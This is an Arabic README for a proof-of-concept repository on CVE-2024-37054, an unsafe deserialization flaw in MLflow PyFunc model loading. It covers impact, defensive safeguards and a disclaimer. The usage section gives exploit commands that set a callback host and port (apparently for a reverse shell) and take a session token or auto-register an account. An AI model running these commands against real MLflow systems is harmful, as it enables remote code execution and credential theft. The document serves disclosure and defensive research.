إلغاء تسلسل غير آمن في MLflow

CVE-2024-37054

نظرة عامة

يوثّق هذا المستودع البحث في CVE-2024-37054، وهي مشكلة إلغاء تسلسل غير آمن تؤثر على معالجة نماذج PyFunc في MLflow.

في إصدارات MLflow المتأثرة، قد يؤدي تحميل نموذج PyFunc غير موثوق إلى قيام منطق إلغاء التسلسل في Python بمعالجة كائن مُسلسَل يحتوي على سلوك يتحكم فيه المهاجم. إذا تم تحميل أصل غير موثوق، فقد يُنفَّذ كود بصلاحيات المستخدم أو الخدمة التي تنفذ عملية تحميل النموذج.

تشمل الإصدارات المتأثرة المذكورة في التنبيهات العامة:

MLflow 0.9.0 through 2.14.1

المخاطر

الخطر الأساسي ليس مجرد "رفع نموذج". تكمن الخطورة عندما يقوم تطبيق أو محلل أو عامل أو منصة تعلّم آلي بتحميل أصل نموذج مُسلسَل غير موثوق.

تشمل التأثيرات المحتملة:

• تنفيذ كود عن بُعد في سياق عميل MLflow أو العامل أو الخدمة
• كشف متغيرات البيئة وبيانات الاعتماد والرموز والملفات المحلية
• وصول غير مصرّح به إلى مخازن النماذج وقواعد البيانات والخدمات الداخلية المتصلة
• تعديل النماذج أو التجارب أو بيانات السجل الوصفية
• الانتقال من البنية التحتية للتعلّم الآلي إلى بيئات أخرى متصلة

محتويات المستودع

build_model.py

ينشئ أصل نموذج اختباري مُتحكَّم به لاستخدامه في بيئة مختبرية خاصة ومصرّح بها.

exploit.py

أتمتة إثبات مفهوم خاصة تُستخدم فقط للتحقق من مسار الثغرة في بيئة تدريب مصرّح بها. لا يتضمن هذا المستودع أهدافًا حية أو بيانات اعتماد أو رموز جلسات أو ملفات تهيئة VPN أو حمولات مدمّرة.

الاستخدام

شغّل إثبات المفهوم هذا فقط في بيئة مختبرية مصرّح بها.

1. بناء نموذج الاختبار

أنشئ أصل النموذج المُتحكَّم به:

python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. التشغيل مع التسجيل التلقائي للحساب

إذا لم يكن لديك جلسة موثّقة بالفعل، استخدم وضع التسجيل التلقائي:

python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

ينشئ هذا الوضع حسابًا مختبريًا مؤقتًا، ويوثّق الدخول إلى التطبيق، ثم يتابع سير عمل تسجيل النموذج والتحقق منه.

3. التشغيل بجلسة موجودة

إذا كانت لديك جلسة مصرّح بها صالحة بالفعل، مرّرها مباشرة:

python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

استبدل:

• <YOUR_IP> بعنوان IP الذي يمكن الوصول إليه من هدف المختبر المصرّح به.
• 4444 بمنفذ الاستماع المستخدم في مختبرك.
• <SESSION_TOKEN> بقيمة جلستك النشطة المصرّح بها.

لا تنشر أبدًا رموز جلسات حقيقية أو بيانات اعتماد أو ملفات VPN أو عناوين أهداف أو تفاصيل الاستدعاء الراجع.

إرشادات دفاعية

ينبغي للمؤسسات التي تستخدم MLflow أن تتعامل مع أصول النماذج كمدخلات غير موثوقة ما لم يتم التحقق من مصدرها وسلامتها.

الضمانات الموصى بها:

• لا تحمّل أصول نماذج PyFunc أو النماذج القائمة على pickle المُسلسَلة غير الموثوقة.
• قيّد صلاحيات رفع النماذج وتسجيلها وإصدارها وتحميلها باستخدام أقل صلاحية ممكنة.
• اعزل أحمال عمل MLflow في حاويات غير جذرية أو بيئات عمل مقيّدة.
• قيّد الوصول الشبكي الصادر من البنية التحتية لتحميل النماذج والتدريب.
• تجنّب وضع الأسرار في متغيرات بيئة يمكن لمهام معالجة النماذج الوصول إليها.
• سجّل عمليات رفع النماذج وإجراءات السجل والوصول إلى الأصول والنشاط غير الطبيعي للعمليات الفرعية.
• راقب التنبيهات الأمنية لـ MLflow واستخدم إصدارات برمجية مدعومة ومُصانة.

إخلاء المسؤولية

هذا المشروع مخصص للبحث الدفاعي والتعليم والاختبار الأمني المصرّح به فقط. تم تقييم سير عمل إثبات المفهوم فقط في بيئة تدريب مُتحكَّم بها. لا تختبر هذه الثغرة ضد أنظمة أو حسابات أو خدمات أو شبكات دون تصريح كتابي صريح.